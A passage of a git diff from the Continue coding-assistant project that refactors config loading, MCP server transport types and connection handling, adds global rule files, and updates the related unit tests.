Tool, } from "../../"; import { stringifyMcpPrompt } from "../../commands/slash/mcpSlashCommand"; +import { convertRuleBlockToSlashCommand } from "../../commands/slash/ruleBlockSlashCommand"; import { MCPManagerSingleton } from "../../context/mcp/MCPManagerSingleton"; import ContinueProxyContextProvider from "../../context/providers/ContinueProxyContextProvider"; import MCPContextProvider from "../../context/providers/MCPContextProvider"; @@ -27,6 +28,7 @@ import { getControlPlaneEnv } from "../../control-plane/env.js"; import { PolicySingleton } from "../../control-plane/PolicySingleton"; import { TeamAnalytics } from "../../control-plane/TeamAnalytics.js"; import ContinueProxy from "../../llm/llms/stubs/ContinueProxy"; +import { initSlashCommand } from "../../promptFiles/initPrompt"; import { getConfigDependentToolDefinitions } from "../../tools"; import { encodeMCPToolUri } from "../../tools/callTool"; import { getMCPToolName } from "../../tools/mcpToolName"; @@ -155,6 +157,23 @@ export default async function doLoadConfig(options: { errors.push(...rulesErrors); newConfig.rules.unshift(...rules); + // Convert invokable rules to slash commands + for (const rule of newConfig.rules) { + if (rule.invokable) { + try { + const slashCommand = convertRuleBlockToSlashCommand(rule); + (newConfig.slashCommands ??= []).push(slashCommand); + } catch (e) { + errors.push({ + message: `Error converting invokable rule ${rule.name} to slash command: ${e instanceof Error ? e.message : e}`, + fatal: false, + }); + } + } + } + + newConfig.slashCommands.push(initSlashCommand); + const proxyContextProvider = newConfig.contextProviders?.find( (cp) => cp.description.title === "continue-proxy", ); @@ -194,6 +213,13 @@ export default async function doLoadConfig(options: { newConfig.mcpServerStatuses = serializableStatuses; for (const server of mcpServerStatuses) { + server.errors.forEach((error) => { + // MCP errors will also show as config loading errors + errors.push({ + fatal: false, + message: error, + }); + }); if (server.status === "connected") { const serverTools: Tool[] = server.tools.map((tool) => ({ displayTitle: server.name + " " + tool.name, diff --git a/core/config/sharedConfig.ts b/core/config/sharedConfig.ts index 52b96061a..87306a2ae 100644 --- a/core/config/sharedConfig.ts +++ b/core/config/sharedConfig.ts @@ -31,7 +31,6 @@ export const sharedConfigSchema = z codeWrap: z.boolean(), displayRawMarkdown: z.boolean(), showChatScrollbar: z.boolean(), - autoAcceptEditToolDiffs: z.boolean(), continueAfterToolRejection: z.boolean(), // `tabAutocompleteOptions` in `ContinueConfig` @@ -140,10 +139,6 @@ export function modifyAnyConfigWithSharedConfig< if (sharedConfig.showChatScrollbar !== undefined) { configCopy.ui.showChatScrollbar = sharedConfig.showChatScrollbar; } - if (sharedConfig.autoAcceptEditToolDiffs !== undefined) { - configCopy.ui.autoAcceptEditToolDiffs = - sharedConfig.autoAcceptEditToolDiffs; - } if (sharedConfig.allowAnonymousTelemetry !== undefined) { configCopy.allowAnonymousTelemetry = sharedConfig.allowAnonymousTelemetry; diff --git a/core/config/types.ts b/core/config/types.ts index 0b76419df..d9f58aca6 100644 --- a/core/config/types.ts +++ b/core/config/types.ts @@ -78,8 +78,9 @@ declare global { export interface ILLM extends LLMOptions { get providerName(): string; - + uniqueId: string; + lastRequestId?: string; model: string; title?: string; @@ -280,11 +281,6 @@ declare global { replacement: string; } - export interface ContinueError { - title: string; - message: string; - } - export interface CompletionOptions extends BaseCompletionOptions { model: string; } @@ -692,6 +688,8 @@ declare global { openUrl(url: string): Promise; + getExternalUri?(uri: string): Promise; + runCommand(command: string): Promise; saveFile(filepath: string): Promise; diff --git a/core/config/usesFreeTrialApiKey.ts b/core/config/usesFreeTrialApiKey.ts index 6657b1edf..599d7ef0a 100644 --- a/core/config/usesFreeTrialApiKey.ts +++ b/core/config/usesFreeTrialApiKey.ts @@ -1,12 +1,12 @@ import { decodeSecretLocation, SecretType } from "@continuedev/config-yaml"; -import { BrowserSerializedContinueConfig } from ".."; +import { BrowserSerializedContinueConfig, ModelDescription } from ".."; /** - * Helper function to determine if the config uses a free trial API key + * Helper function to determine if the config uses an API key that relies on Continue credits (free trial or models add-on) * @param config The serialized config object * @returns true if the config is using any free trial models */ -export function usesFreeTrialApiKey( +export function usesCreditsBasedApiKey( config: BrowserSerializedContinueConfig | null, ): boolean { if (!config) { @@ -19,12 +19,7 @@ export function usesFreeTrialApiKey( // Check if any of the chat models use free-trial provider try { - const hasFreeTrial = allModels?.some( - (model) => - model.apiKeyLocation && - decodeSecretLocation(model.apiKeyLocation).secretType === - SecretType.FreeTrial, - ); + const hasFreeTrial = allModels?.some(modelUsesCreditsBasedApiKey); return hasFreeTrial; } catch (e) { @@ -33,3 +28,13 @@ export function usesFreeTrialApiKey( return false; } + +const modelUsesCreditsBasedApiKey = (model: ModelDescription) => { + if (!model.apiKeyLocation) { + return false; + } + + const secretType = decodeSecretLocation(model.apiKeyLocation).secretType; + + return secretType === SecretType.FreeTrial; +}; diff --git a/core/config/usesFreeTrialApiKey.vitest.ts b/core/config/usesFreeTrialApiKey.vitest.ts index b92dd90a2..6d8318830 100644 --- a/core/config/usesFreeTrialApiKey.vitest.ts +++ b/core/config/usesFreeTrialApiKey.vitest.ts @@ -15,13 +15,13 @@ vi.mock("@continuedev/config-yaml", () => ({ })); describe("usesFreeTrialApiKey", () => { - let usesFreeTrialApiKey: typeof import("./usesFreeTrialApiKey").usesFreeTrialApiKey; + let usesFreeTrialApiKey: typeof import("./usesFreeTrialApiKey").usesCreditsBasedApiKey; let SecretType: typeof import("@continuedev/config-yaml").SecretType; beforeEach(async () => { mockDecodeSecretLocation.mockReset(); usesFreeTrialApiKey = (await import("./usesFreeTrialApiKey")) - .usesFreeTrialApiKey; + .usesCreditsBasedApiKey; SecretType = (await import("@continuedev/config-yaml")).SecretType; }); diff --git a/core/config/workspace/workspaceBlocks.ts b/core/config/workspace/workspaceBlocks.ts index 25a606bf9..9ba16b400 100644 --- a/core/config/workspace/workspaceBlocks.ts +++ b/core/config/workspace/workspaceBlocks.ts @@ -2,10 +2,12 @@ import { BlockType, ConfigYaml, createRuleMarkdown, + createPromptMarkdown, RULE_FILE_EXTENSION, } from "@continuedev/config-yaml"; import * as YAML from "yaml"; import { IDE } from "../.."; +import { getContinueGlobalPath } from "../../util/paths"; import { joinPathsToUri } from "../../util/uri"; const BLOCK_TYPE_CONFIG: Record< @@ -83,7 +85,10 @@ function getContentsForNewBlock(blockType: BlockType): ConfigYaml { } function getFileExtension(blockType: BlockType): string { - return blockType === "rules" ? RULE_FILE_EXTENSION : "yaml"; + if (blockType === "rules" || blockType === "prompts") { + return "md"; + } + return "yaml"; } export function getFileContent(blockType: BlockType): string { @@ -91,6 +96,15 @@ export function getFileContent(blockType: BlockType): string { return createRuleMarkdown("New Rule", "Your rule content", { description: "A description of your rule", }); + } else if (blockType === "prompts") { + return createPromptMarkdown( + "New prompt", + "Please write a thorough suite of unit tests for this code, making sure to cover all relevant edge cases", + { + description: "New prompt", + invokable: true, + }, + ); } else { return YAML.stringify(getContentsForNewBlock(blockType)); } @@ -101,8 +115,13 @@ export async function findAvailableFilename( blockType: BlockType, fileExists: (uri: string) => Promise, extension?: string, + isGlobal?: boolean, ): Promise { - const baseFilename = `new-${BLOCK_TYPE_CONFIG[blockType]?.filename}`; + // Differentiate filename based on whether its a global rule or a workspace rule + const baseFilename = + blockType === "rules" && isGlobal + ? "global-rule" + : `new-${BLOCK_TYPE_CONFIG[blockType]?.filename}`; const fileExtension = extension ?? getFileExtension(blockType); let counter = 0; let fileUri: string; @@ -143,3 +162,28 @@ export async function createNewWorkspaceBlockFile( await ide.writeFile(fileUri, fileContent); await ide.openFile(fileUri); } + +export async function createNewGlobalRuleFile(ide: IDE): Promise { + try { + const globalDir = getContinueGlobalPath(); + + // Create the rules subdirectory within the global directory + const rulesDir = joinPathsToUri(globalDir, "rules"); + + const fileUri = await findAvailableFilename( + rulesDir, + "rules", + ide.fileExists.bind(ide), + undefined, + true, // isGlobal = true for global rules + ); + + const fileContent = getFileContent("rules"); + + await ide.writeFile(fileUri, fileContent); + + await ide.openFile(fileUri); + } catch (error) { + throw error; + } +} diff --git a/core/config/workspace/workspaceBlocks.vitest.ts b/core/config/workspace/workspaceBlocks.vitest.ts index 281a4d785..2961b53d7 100644 --- a/core/config/workspace/workspaceBlocks.vitest.ts +++ b/core/config/workspace/workspaceBlocks.vitest.ts @@ -18,7 +18,7 @@ describe("getFileContent", () => { expect(result).toContain("provider: anthropic"); }); - test("generates correct YAML for different block types", () => { + test("generates correct content for different block types", () => { const contextResult = getFileContent("context"); expect(contextResult).toContain("name: New context"); expect(contextResult).toContain("context:"); @@ -31,8 +31,10 @@ describe("getFileContent", () => { const promptsResult = getFileContent("prompts"); expect(promptsResult).toContain("name: New prompt"); - expect(promptsResult).toContain("prompts:"); + expect(promptsResult).toContain("description: New prompt"); + expect(promptsResult).toContain("invokable: true"); expect(promptsResult).toContain("thorough suite of unit tests"); + expect(promptsResult).toContain("---"); // Should be markdown with frontmatter const mcpResult = getFileContent("mcpServers"); expect(mcpResult).toContain("name: New MCP server"); @@ -96,7 +98,7 @@ describe("findAvailableFilename", () => { { blockType: "context", expected: "/test/new-context.yaml" }, { blockType: "rules", expected: `/test/new-rule.${RULE_FILE_EXTENSION}` }, { blockType: "docs", expected: "/test/new-doc.yaml" }, - { blockType: "prompts", expected: "/test/new-prompt.yaml" }, + { blockType: "prompts", expected: "/test/new-prompt.md" }, { blockType: "mcpServers", expected: "/test/new-mcp-server.yaml" }, ]; @@ -148,8 +150,8 @@ describe("findAvailableFilename", () => { const existingFiles = new Set( Array.from({ length: 100 }, (_, i) => i === 0 - ? "/workspace/.continue/prompts/new-prompt.yaml" - : `/workspace/.continue/prompts/new-prompt-${i}.yaml`, + ? "/workspace/.continue/prompts/new-prompt.md" + : `/workspace/.continue/prompts/new-prompt-${i}.md`, ), ); @@ -163,6 +165,6 @@ describe("findAvailableFilename", () => { mockFileExists, ); - expect(result).toBe("/workspace/.continue/prompts/new-prompt-100.yaml"); + expect(result).toBe("/workspace/.continue/prompts/new-prompt-100.md"); }); }); diff --git a/core/config/yaml/default.ts b/core/config/yaml/default.ts index 22c1d8955..22d7d0685 100644 --- a/core/config/yaml/default.ts +++ b/core/config/yaml/default.ts @@ -4,7 +4,7 @@ import { AssistantUnrolled } from "@continuedev/config-yaml"; export const defaultConfigYaml: AssistantUnrolled = { models: [], context: [], - name: "Local Agent", + name: "Local Config", version: "1.0.0", schema: "v1", }; @@ -12,7 +12,7 @@ export const defaultConfigYaml: AssistantUnrolled = { export const defaultConfigYamlJetBrains: AssistantUnrolled = { models: [], context: [], - name: "Local Agent", + name: "Local Config", version: "1.0.0", schema: "v1", }; diff --git a/core/config/yaml/loadYaml.ts b/core/config/yaml/loadYaml.ts index 915eb74f7..44af239df 100644 --- a/core/config/yaml/loadYaml.ts +++ b/core/config/yaml/loadYaml.ts @@ -15,7 +15,14 @@ import { } from "@continuedev/config-yaml"; import { dirname } from "node:path"; -import { ContinueConfig, IDE, IdeInfo, IdeSettings, ILLMLogger } from "../.."; +import { + ContinueConfig, + IDE, + IdeInfo, + IdeSettings, + ILLMLogger, + InternalMcpOptions, +} from "../.."; import { MCPManagerSingleton } from "../../context/mcp/MCPManagerSingleton"; import { ControlPlaneClient } from "../../control-plane/client"; import TransformersJsEmbeddingsProvider from "../../llm/llms/TransformersJsEmbeddingsProvider"; @@ -25,7 +32,7 @@ import { modifyAnyConfigWithSharedConfig } from "../sharedConfig"; import { convertPromptBlockToSlashCommand } from "../../commands/slash/promptBlockSlashCommand"; import { slashCommandFromPromptFile } from "../../commands/slash/promptFileSlashCommand"; -import { convertRuleBlockToSlashCommand } from "../../commands/slash/ruleBlockSlashCommand"; +import { loadJsonMcpConfigs } from "../../context/mcp/json/loadJsonMcpConfigs"; import { getControlPlaneEnvSync } from "../../control-plane/env"; import { PolicySingleton } from "../../control-plane/PolicySingleton"; import { getBaseToolDefinitions } from "../../tools"; @@ -35,7 +42,10 @@ import { getAllDotContinueDefinitionFiles } from "../loadLocalAssistants"; import { unrollLocalYamlBlocks } from "./loadLocalYamlBlocks"; import { LocalPlatformClient } from "./LocalPlatformClient"; import { llmsFromModelConfig } from "./models"; -import { convertYamlRuleToContinueRule } from "./yamlToContinueConfig"; +import { + convertYamlMcpConfigToInternalMcpOptions, + convertYamlRuleToContinueRule, +} from "./yamlToContinueConfig"; async function loadConfigYaml(options: { overrideConfigYaml: AssistantUnrolled | undefined; @@ -209,19 +219,6 @@ export async function configYamlToContinueConfig(options: { for (const rule of config.rules ?? []) { const convertedRule = convertYamlRuleToContinueRule(rule); continueConfig.rules.push(convertedRule); - - // Convert invokable rules to slash commands - if (convertedRule.invokable) { - try { - const slashCommand = convertRuleBlockToSlashCommand(convertedRule); - continueConfig.slashCommands?.push(slashCommand); - } catch (e) { - localErrors.push({ - message: `Error converting invokable rule ${convertedRule.name} to slash command: ${e instanceof Error ? e.message : e}`, - fatal: false, - }); - } - } } continueConfig.data = config.data?.map((d) => ({ @@ -241,17 +238,19 @@ export async function configYamlToContinueConfig(options: { })); config.mcpServers?.forEach((mcpServer) => { - const mcpArgVariables = - mcpServer.args?.filter((arg) => TEMPLATE_VAR_REGEX.test(arg)) ?? []; + if ("args" in mcpServer) { + const mcpArgVariables = + mcpServer.args?.filter((arg) => TEMPLATE_VAR_REGEX.test(arg)) ?? []; - if (mcpArgVariables.length === 0) { - return; + if (mcpArgVariables.length === 0) { + return; + } + + localErrors.push({ + fatal: false, + message: `MCP server "${mcpServer.name}" has unsubstituted variables in args: ${mcpArgVariables.join(", ")}. Please refer to https://docs.continue.dev/hub/secrets/secret-types for managing hub secrets.`, + }); } - - localErrors.push({ - fatal: false, - message: `MCP server "${mcpServer.name}" has unsubstituted variables in args: ${mcpArgVariables.join(", ")}. Please refer to https://docs.continue.dev/hub/secrets/secret-types for managing hub secrets.`, - }); }); // Prompt files - @@ -395,25 +394,18 @@ export async function configYamlToContinueConfig(options: { if (orgPolicy?.policy?.allowMcpServers === false) { await mcpManager.shutdown(); } else { - mcpManager.setConnections( - (config.mcpServers ?? []).map((server) => ({ - id: server.name, - name: server.name, - sourceFile: server.sourceFile, - transport: { - type: "stdio", - args: [], - requestOptions: mergeConfigYamlRequestOptions( - server.requestOptions, - config.requestOptions, - ), - ...(server as any), // TODO: fix the types on mcpServers in config-yaml - }, - timeout: server.connectionTimeout, - })), - false, - { ide }, + const mcpOptions: InternalMcpOptions[] = (config.mcpServers ?? []).map( + (server) => + convertYamlMcpConfigToInternalMcpOptions(server, config.requestOptions), ); + const { errors: jsonMcpErrors, mcpServers } = await loadJsonMcpConfigs( + ide, + true, + config.requestOptions, + ); + localErrors.push(...jsonMcpErrors); + mcpOptions.push(...mcpServers); + mcpManager.setConnections(mcpOptions, false, { ide }); } return { config: continueConfig, errors: localErrors }; diff --git a/core/config/yaml/models.vitest.ts b/core/config/yaml/models.vitest.ts index 4b5f33887..aa2bc4691 100644 --- a/core/config/yaml/models.vitest.ts +++ b/core/config/yaml/models.vitest.ts @@ -52,7 +52,7 @@ describe("llmsFromModelConfig requestOptions merging", () => { requestOptions: { timeout: 30000, headers: { - "User-Agent": "Continue/1.0.0", + "user-agent": "Continue/1.0.0", }, proxy: "global-proxy", }, @@ -112,7 +112,7 @@ describe("llmsFromModelConfig requestOptions merging", () => { expect(llm.requestOptions).toEqual({ timeout: 60000, // model-specific takes precedence headers: { - "User-Agent": "Continue/1.0.0", // from global request options + "user-agent": "Continue/1.0.0", // from global request options Authorization: "Bearer token123", // from model }, proxy: "model-proxy", // model-specific takes precedence @@ -236,7 +236,7 @@ describe("llmsFromModelConfig requestOptions merging", () => { expect(llm.requestOptions).toEqual({ timeout: 120000, // model-specific takes precedence headers: { - "User-Agent": "Continue/1.0.0", // from global request options + "user-agent": "Continue/1.0.0", // from global request options "X-Custom": "autodetect", // from model }, proxy: "global-proxy", // from global request options @@ -302,7 +302,7 @@ describe("llmsFromModelConfig requestOptions merging", () => { expect(llm.requestOptions).toEqual({ timeout: 90000, headers: { - "User-Agent": "Continue/1.0.0", + "user-agent": "Continue/1.0.0", }, proxy: "global-proxy", }); @@ -345,7 +345,7 @@ describe("llmsFromModelConfig requestOptions merging", () => { const llm = result[0]; expect(llm.requestOptions?.headers).toEqual({ - "User-Agent": "Continue/1.0.0", // from global request options + "user-agent": "Continue/1.0.0", // from global request options "Cache-Control": "no-cache", // from global request options Authorization: "Bearer model-token", // from model Accept: "application/json", // from model (overrides config) diff --git a/core/config/yaml/yamlToContinueConfig.ts b/core/config/yaml/yamlToContinueConfig.ts index 0a4d30dcd..d639e4515 100644 --- a/core/config/yaml/yamlToContinueConfig.ts +++ b/core/config/yaml/yamlToContinueConfig.ts @@ -1,5 +1,16 @@ -import { MCPServer, Rule } from "@continuedev/config-yaml"; -import { ExperimentalMCPOptions, RuleWithSource } from "../.."; +import { + MCPServer, + mergeConfigYamlRequestOptions, + RequestOptions, + Rule, +} from "@continuedev/config-yaml"; +import { + InternalMcpOptions, + InternalSseMcpOptions, + InternalStdioMcpOptions, + InternalStreamableHttpMcpOptions, + RuleWithSource, +} from "../.."; export function convertYamlRuleToContinueRule(rule: Rule): RuleWithSource { if (typeof rule === "string") { @@ -14,24 +25,51 @@ export function convertYamlRuleToContinueRule(rule: Rule): RuleWithSource { globs: rule.globs, name: rule.name, description: rule.description, - ruleFile: rule.sourceFile, + sourceFile: rule.sourceFile, alwaysApply: rule.alwaysApply, invokable: rule.invokable ?? false, }; } } -export function convertYamlMcpToContinueMcp( - server: MCPServer, -): ExperimentalMCPOptions { - return { - transport: { - type: "stdio", - command: server.command, - args: server.args ?? [], - env: server.env, - cwd: server.cwd, - } as any, // TODO: Fix the mcpServers types in config-yaml (discriminated union) - timeout: server.connectionTimeout, +export function convertYamlMcpConfigToInternalMcpOptions( + config: MCPServer, + globalRequestOptions?: RequestOptions, +): InternalMcpOptions { + const { connectionTimeout, faviconUrl, name, sourceFile } = config; + const shared = { + id: name, + name, + faviconUrl: faviconUrl, + timeout: connectionTimeout, + sourceFile, }; + // Stdio + if ("command" in config) { + const { args, command, cwd, env, type } = config; + const stdioOptions: InternalStdioMcpOptions = { + ...shared, + type, + command, + args, + cwd, + env, + }; + return stdioOptions; + } + // HTTP/SSE + const { type, url, apiKey, requestOptions } = config; + const httpSseConfig: + | InternalStreamableHttpMcpOptions + | InternalSseMcpOptions = { + ...shared, + type, + url, + apiKey, + requestOptions: mergeConfigYamlRequestOptions( + requestOptions, + globalRequestOptions, + ), + }; + return httpSseConfig; } diff --git a/core/context/mcp/MCPConnection.ts b/core/context/mcp/MCPConnection.ts index bdd3279a0..4090e92c5 100644 --- a/core/context/mcp/MCPConnection.ts +++ b/core/context/mcp/MCPConnection.ts @@ -1,4 +1,7 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; +import { Transport } from "@modelcontextprotocol/sdk/shared/transport.js"; +import { fileURLToPath } from "url"; + import { SSEClientTransport, SseError, @@ -6,18 +9,22 @@ import { import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; import { WebSocketClientTransport } from "@modelcontextprotocol/sdk/client/websocket.js"; -import { Transport } from "@modelcontextprotocol/sdk/shared/transport.js"; import { Agent as HttpsAgent } from "https"; import { IDE, + InternalMcpOptions, + InternalSseMcpOptions, + InternalStdioMcpOptions, + InternalStreamableHttpMcpOptions, + InternalWebsocketMcpOptions, MCPConnectionStatus, - MCPOptions, MCPPrompt, MCPResource, MCPResourceTemplate, MCPServerStatus, MCPTool, } from "../.."; +import { resolveRelativePathInDir } from "../../util/ideUtils"; import { getEnvPathFromUserShell } from "../../util/shellPath"; import { getOauthToken } from "./MCPOauth"; @@ -34,6 +41,8 @@ const WINDOWS_BATCH_COMMANDS = [ "bunx", ]; +const COMMONS_ENV_VARS = ["HOME", "USER", "USERPROFILE", "LOGNAME", "USERNAME"]; + function is401Error(error: unknown) { return ( (error instanceof SseError && error.code === 401) || @@ -65,7 +74,7 @@ class MCPConnection { }; constructor( - public options: MCPOptions, + public options: InternalMcpOptions, public extras?: MCPExtras, ) { // Don't construct transport in constructor to avoid blocking @@ -84,10 +93,11 @@ class MCPConnection { this.abortController = new AbortController(); } - async disconnect() { + async disconnect(disable = false) { this.abortController.abort(); await this.client.close(); await this.transport.close(); + this.status = disable ? "disabled" : "not-connected"; } getStatus(): MCPServerStatus { @@ -105,6 +115,9 @@ class MCPConnection { } async connectClient(forceRefresh: boolean, externalSignal: AbortSignal) { + if (this.status === "disabled") { + return; + } if (!forceRefresh) { // Already connected if (this.status === "connected") { @@ -131,20 +144,20 @@ class MCPConnection { this.abortController = new AbortController(); // currently support oauth for sse transports only - if (this.options.transport.type === "sse") { - if (!this.options.transport.requestOptions) { - this.options.transport.requestOptions = { + if (this.options.type === "sse") { + if (!this.options.requestOptions) { + this.options.requestOptions = { headers: {}, }; } const accessToken = await getOauthToken( - this.options.transport.url, + this.options.url, this.extras?.ide!, ); if (accessToken) { this.isProtectedResource = true; - this.options.transport.requestOptions.headers = { - ...this.options.transport.requestOptions.headers, + this.options.requestOptions.headers = { + ...this.options.requestOptions.headers, Authorization: `Bearer ${accessToken}`, }; } @@ -177,22 +190,71 @@ class MCPConnection { }); }), (async () => { - this.transport = await this.constructTransportAsync(this.options); - - try { - await this.client.connect(this.transport); - } catch (error) { - // Allow the case where for whatever reason is already connected - if ( - error instanceof Error && - error.message.startsWith( - "StdioClientTransport already started", - ) - ) { - await this.client.close(); - await this.client.connect(this.transport); + if ("command" in this.options) { + // STDIO: no need to check type, just if command is present + const transport = await this.constructStdioTransport( + this.options, + ); + try { + await this.client.connect(transport, {}); + this.transport = transport; + } catch (error) { + // Allow the case where for whatever reason is already connected + if ( + error instanceof Error && + error.message.startsWith( + "StdioClientTransport already started", + ) + ) { + await this.client.close(); + await this.client.connect(transport); + this.transport = transport; + } else { + throw error; + } + } + } else { + // SSE/HTTP: if type isn't explicit: try http and fall back to sse + if (this.options.type === "sse") { + const transport = this.constructSseTransport(this.options); + await this.client.connect(transport, {}); + this.transport = transport; + } else if (this.options.type === "streamable-http") { + const transport = this.constructHttpTransport(this.options); + await this.client.connect(transport, {}); + this.transport = transport; + } else if (this.options.type === "websocket") { + const transport = this.constructWebsocketTransport( + this.options, + ); + await this.client.connect(transport, {}); + this.transport = transport; + } else if (this.options.type) { + throw new Error( + `Unsupported transport type: ${this.options.type}`, + ); } else { - throw error; + try { + const transport = this.constructHttpTransport({ + ...this.options, + type: "streamable-http", + }); + await this.client.connect(transport, {}); + this.transport = transport; + } catch (e) { + try { + const transport = this.constructSseTransport({ + ...this.options, + type: "sse", + }); + await this.client.connect(transport, {}); + this.transport = transport; + } catch (e) { + throw new Error( + `MCP config with URL and no type specified failed both SSE and HTTP connection: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } } } @@ -201,7 +263,6 @@ class MCPConnection { // this.client.setNotificationHandler(, notification => { // console.log(notification) // }) - const capabilities = this.client.getServerCapabilities(); // Resources <—> Context Provider @@ -304,7 +365,7 @@ class MCPConnection { // Include stdio output if available for stdio transport if ( - this.options.transport.type === "stdio" && + this.options.type === "stdio" && (this.stdioOutput.stdout || this.stdioOutput.stderr) ) { errorMessage += "\n\nProcess output:"; @@ -355,98 +416,158 @@ class MCPConnection { }; } - private async constructTransportAsync( - options: MCPOptions, - ): Promise { - switch (options.transport.type) { - case "stdio": - const env: Record = options.transport.env - ? { ...options.transport.env } - : {}; - - if (process.env.PATH !== undefined) { - // Set the initial PATH from process.env - env.PATH = process.env.PATH; - - // For non-Windows platforms, try to get the PATH from user shell - if (process.platform !== "win32") { - try { - const shellEnvPath = await getEnvPathFromUserShell(); - if (shellEnvPath && shellEnvPath !== process.env.PATH) { - env.PATH = shellEnvPath; - } - } catch (err) { - console.error("Error getting PATH:", err); - } - } - } - - // Resolve the command and args for the current platform - const { command, args } = this.resolveCommandForPlatform( - options.transport.command, - options.transport.args || [], - ); - - const transport = new StdioClientTransport({ - command, - args, - env, - cwd: options.transport.cwd, - stderr: "pipe", - }); - - // Capture stdio output for better error reporting - - transport.stderr?.on("data", (data: Buffer) => { - this.stdioOutput.stderr += data.toString(); - }); - - return transport; - case "websocket": - return new WebSocketClientTransport(new URL(options.transport.url)); - case "sse": - const sseAgent = - options.transport.requestOptions?.verifySsl === false - ? new HttpsAgent({ rejectUnauthorized: false }) - : undefined; - - return new SSEClientTransport(new URL(options.transport.url), { - eventSourceInit: { - fetch: (input, init) => - fetch(input, { - ...init, - headers: { - ...init?.headers, - ...(options.transport.requestOptions?.headers as - | Record - | undefined), - }, - ...(sseAgent && { agent: sseAgent }), - }), - }, - requestInit: { - headers: options.transport.requestOptions?.headers, - ...(sseAgent && { agent: sseAgent }), - }, - }); - case "streamable-http": - const { url, requestOptions } = options.transport; - const streamableAgent = - requestOptions?.verifySsl === false - ? new HttpsAgent({ rejectUnauthorized: false }) - : undefined; - - return new StreamableHTTPClientTransport(new URL(url), { - requestInit: { - headers: requestOptions?.headers, - ...(streamableAgent && { agent: streamableAgent }), - }, - }); - default: - throw new Error( - `Unsupported transport type: ${(options.transport as any).type}`, - ); + /** + * Resolves the current working directory of the current workspace. + * @param cwd The cwd parameter provided by user. + * @returns Current working directory (user-provided cwd or workspace root). + */ + private async resolveCwd(cwd?: string) { + if (!cwd) { + return this.resolveWorkspaceCwd(undefined); } + + if (cwd.startsWith("file://")) { + return fileURLToPath(cwd); + } + + // Return cwd if cwd is an absolute path. + if (cwd.charAt(0) === "/") { + return cwd; + } + + return this.resolveWorkspaceCwd(cwd); + } + + private async resolveWorkspaceCwd(cwd: string | undefined) { + const IDE = this.extras?.ide; + if (IDE) { + const target = cwd ?? "."; + const resolved = await resolveRelativePathInDir(target, IDE); + if (resolved) { + if (resolved.startsWith("file://")) { + return fileURLToPath(resolved); + } + return resolved; + } + return resolved; + } + return cwd; + } + + private constructWebsocketTransport( + options: InternalWebsocketMcpOptions, + ): WebSocketClientTransport { + return new WebSocketClientTransport(new URL(options.url)); + } + + private constructSseTransport( + options: InternalSseMcpOptions, + ): SSEClientTransport { + const sseAgent = + options.requestOptions?.verifySsl === false + ? new HttpsAgent({ rejectUnauthorized: false }) + : undefined; + + // Merge apiKey into headers if provided + const headers = { + ...options.requestOptions?.headers, + ...(options.apiKey && { Authorization: `Bearer ${options.apiKey}` }), + }; + + return new SSEClientTransport(new URL(options.url), { + eventSourceInit: { + fetch: (input, init) => + fetch(input, { + ...init, + headers: { + ...init?.headers, + ...headers, + }, + ...(sseAgent && { agent: sseAgent }), + }), + }, + requestInit: { + headers, + ...(sseAgent && { agent: sseAgent }), + }, + }); + } + + private constructHttpTransport( + options: InternalStreamableHttpMcpOptions, + ): StreamableHTTPClientTransport { + const { url, requestOptions } = options; + const streamableAgent = + requestOptions?.verifySsl === false + ? new HttpsAgent({ rejectUnauthorized: false }) + : undefined; + + // Merge apiKey into headers if provided + const headers = { + ...requestOptions?.headers, + ...(options.apiKey && { Authorization: `Bearer ${options.apiKey}` }), + }; + + return new StreamableHTTPClientTransport(new URL(url), { + requestInit: { + headers, + ...(streamableAgent && { agent: streamableAgent }), + }, + }); + } + + private async constructStdioTransport( + options: InternalStdioMcpOptions, + ): Promise { + const commonEnvVars: Record = Object.fromEntries( + COMMONS_ENV_VARS.filter((key) => process.env[key] !== undefined).map( + (key) => [key, process.env[key] as string], + ), + ); + + const env = { + ...commonEnvVars, + ...(options.env ?? {}), + }; + + if (process.env.PATH !== undefined) { + // Set the initial PATH from process.env + env.PATH = process.env.PATH; + + // For non-Windows platforms, try to get the PATH from user shell + if (process.platform !== "win32") { + try { + const shellEnvPath = await getEnvPathFromUserShell(); + if (shellEnvPath && shellEnvPath !== process.env.PATH) { + env.PATH = shellEnvPath; + } + } catch (err) { + console.error("Error getting PATH:", err); + } + } + } + + const { command, args } = this.resolveCommandForPlatform( + options.command, + options.args || [], + ); + + const cwd = await this.resolveCwd(options.cwd); + + const transport = new StdioClientTransport({ + command, + args, + env, + cwd, + stderr: "pipe", + }); + + // Capture stdio output for better error reporting + transport.stderr?.on("data", (data: Buffer) => { + this.stdioOutput.stderr += data.toString(); + }); + + return transport; } } diff --git a/core/context/mcp/MCPConnection.vitest.ts b/core/context/mcp/MCPConnection.vitest.ts index 873805052..2df63cb32 100644 --- a/core/context/mcp/MCPConnection.vitest.ts +++ b/core/context/mcp/MCPConnection.vitest.ts @@ -1,5 +1,11 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { + InternalSseMcpOptions, + InternalStdioMcpOptions, + InternalWebsocketMcpOptions, +} from "../.."; +import * as ideUtils from "../../util/ideUtils"; import MCPConnection from "./MCPConnection"; // Mock the shell path utility @@ -16,15 +22,13 @@ describe("MCPConnection", () => { describe("constructor", () => { it("should create instance with stdio transport", () => { - const options = { + const options: InternalStdioMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "stdio" as const, - command: "test-cmd", - args: ["--test"], - env: { TEST: "true" }, - }, + type: "stdio", + command: "test-cmd", + args: ["--test"], + env: { TEST: "true" }, }; const conn = new MCPConnection(options); @@ -33,34 +37,30 @@ describe("MCPConnection", () => { }); it("should create instance with stdio transport including cwd", () => { - const options = { + const options: InternalStdioMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "stdio" as const, - command: "test-cmd", - args: ["--test"], - env: { TEST: "true" }, - cwd: "/path/to/working/directory", - }, + type: "stdio", + command: "test-cmd", + args: ["--test"], + env: { TEST: "true" }, + cwd: "/path/to/working/directory", }; const conn = new MCPConnection(options); expect(conn).toBeInstanceOf(MCPConnection); expect(conn.status).toBe("not-connected"); - if (conn.options.transport.type === "stdio") { - expect(conn.options.transport.cwd).toBe("/path/to/working/directory"); + if (conn.options.type === "stdio") { + 